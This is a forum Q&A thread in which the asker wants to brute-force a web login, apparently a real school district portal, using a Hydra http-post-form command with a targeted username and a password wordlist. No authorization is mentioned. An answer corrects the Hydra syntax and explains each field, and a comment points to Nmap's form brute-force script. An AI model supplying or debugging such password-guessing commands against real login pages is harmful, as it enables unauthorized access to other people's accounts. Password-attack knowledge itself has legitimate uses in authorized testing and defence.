I'm try to do brute force attack on a system and I have complete word list of the possible passwords because they use a really simple format but when I tried hydra with the following post responses, it gave me a error saying that

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-19 22:02:39 [ERROR] Wrong syntax, requires three arguments separated by a colon which may not be null: /Connect/Login.aspx

Any ideas how to fix this?

hydra -l A23432 -P wordlist_1.txt -s 80 -V http-post-form "/Connect/Login.aspx:__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTA5MTEzOTQwNA9kFgJmD2QWAgIDD2QWDAIBD2QWAgITDw8WAh4HVmlzaWJsZWhkZAIFDxYCHgRUZXh0BTJDb3B5cmlnaHQgMjAwOSBIb3VzdG9uIEluZGVwZW5kZW50IFNjaG9vbCBEaXN0cmljdGQCDQ8PFgIeC1Bvc3RCYWNrVXJsBSVodHRwOi8vd3d3LmhvdXN0b25pc2Qub3JnL2RvbWFpbi83ODg4ZGQCDw8PFgIfAgUlaHR0cDovL3d3dy5ob3VzdG9uaXNkLm9yZy9kb21haW4vNzg5NGRkAhEPDxYCHwIFJWh0dHA6Ly93d3cuaG91c3RvbmlzZC5vcmcvZG9tYWluLzc4OTVkZAIVDw8WAh4LTmF2aWdhdGVVcmwFMi4uXEhlbHBcT0NSIC0gUFNDIEhlbHAgR3VpZGUgLSBFbmdsaXNoIFZlcnNpb24ucGRmZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFC2N0bDAwJGltZ0RM1KNKEt%2BzLZA8Z%2BnkUqZ3%2BrVNgP4%3D&__VIEWSTATEGENERATOR=125EDFF6&__PREVIOUSPAGE=eic2obM9HsJVGXjCuBkW_BCXDoR6wcOVTcJrExElqVWm-b3vnFcneVi-Yc52SWRk3vuSeeDAj6xlnRF9h5rqjDrO5hURRKbSQ_cRyvIHbRX7ss3b0&__EVENTVALIDATION=%2FwEWCQLqlo7JBQKVjO6OBwLzw%2BOgBQLA%2FraSCQKd2bA2ApyI9v8JAv2ao%2BgDAqebmbQDAujk6qkJVYCk1DwUcL4617gtTeSpx0D105E%3D&ctl00%24ContentArea%24txtUserName=^USER^&ctl00%24ContentArea%24txtPassword=^PASS^&ctl00%24ContentArea%24btnLogin=Login:Invalid password

  • Not an answer to your question, but have you tried the latest http-form-brute NSE script with Nmap? In Nmap 7.10 and later, it has good support for form autodetection, cookies, and CSRF tokens. Jun 4 '16 at 2:27

You need to supply the correct syntax. Here is an example:

hydra [TARGETIP] http-form-post "/TARGETPATH/TARGETPAGE.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt
  • 1st field (before the 1st colon) = location of the target page
  • 2nd field (before the 2nd colon) = user & password parameters
  • 3rd field (after the 2nd colon) = page response on incorrect login attempt
  • But how can I add cookies? Jan 20 '16 at 23:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.